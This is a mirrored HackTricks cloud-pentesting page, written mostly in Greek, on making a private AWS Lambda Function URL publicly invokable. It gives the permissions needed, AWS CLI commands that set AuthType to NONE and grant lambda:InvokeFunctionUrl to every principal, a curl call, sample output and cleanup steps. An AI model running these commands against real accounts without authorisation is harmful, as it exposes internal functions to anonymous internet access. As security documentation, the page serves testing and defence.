mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
2.3 KiB
2.3 KiB
AWS - Lambda Function URL Δημόσια Έκθεση (AuthType NONE + Public Invoke Policy)
Μετατρέψτε ένα ιδιωτικό Lambda Function URL σε δημόσιο, μη αυθεντικοποιημένο endpoint αλλάζοντας το Function URL AuthType σε NONE και επισυνάπτοντας μια resource-based policy που παραχωρεί lambda:InvokeFunctionUrl σε όλους. Αυτό επιτρέπει ανώνυμη κλήση εσωτερικών functions και μπορεί να εκθέσει ευαίσθητες διεργασίες backend.
Κατάχρηση
- Προαπαιτούμενα: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Περιοχή: us-east-1
Βήματα
- Βεβαιωθείτε ότι η function έχει Function URL (defaults to AWS_IAM):
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
- Switch the URL to public (AuthType NONE):
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
- Προσθέστε δήλωση resource-based policy για να επιτρέψετε μη αυθεντικοποιημένους principals:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
- Ανακτήστε το URL και καλέστε χωρίς διαπιστευτήρια:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
Επιπτώσεις
- Η Lambda function γίνεται ανώνυμα προσβάσιμη μέσω του internet.
Παράδειγμα εξόδου (μη αυθεντικοποιημένο 200)
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
Καθαρισμός
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true